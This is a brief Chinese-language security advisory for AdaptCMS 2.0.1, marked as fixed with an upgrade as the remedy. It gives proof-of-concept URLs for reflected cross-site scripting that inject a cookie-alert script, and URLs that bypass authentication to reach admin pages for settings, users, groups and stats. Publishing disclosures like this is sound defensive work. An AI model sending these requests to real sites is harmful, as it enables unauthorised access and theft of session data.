标题: AdaptCMS 2.0.1 Multiple security vulnerabilities

作者: Stefan Schurtz

影响版本:  AdaptCMS 2.0.1测试成功

开发网站: http://www.adaptcms.com/ www.2cto.com

 

状态:已修复

 

缺陷描述：

 

AdaptCMS 2.0.1存在多个缺陷

 

==================

技术分析

==================

 

Cross-site Scripting

 

http://www.2cto.com /AdaptCMS/admin.php?view=</script><script>alert(document.

cookie)</script>

http://www.2cto.com /AdaptCMS/admin.php?view=share&do=</script><script>alert(

document.cookie)</script>

http://www.2cto.com /AdaptCMS//?'</script><script>alert(document.cookie)</scr

ipt>

http://www.2cto.com /AdaptCMS//index.php?'</script><script>alert(document.coo

kie)</script>

 

Authentication bypass / Information Disclosure

 

http://www.2cto.com /AdaptCMS/admin.php?view=/&view=settings

http://www.2cto.com /AdaptCMS/admin.php?view=/&view=users

http://www.2cto.com /AdaptCMS/admin.php?view=/&view=groups

http://www.2cto.com /AdaptCMS/admin.php?view=/&view=levels

http://www.2cto.com /AdaptCMS/admin.php?view=/&view=stats

 

=========

解决方案

=========

 

升级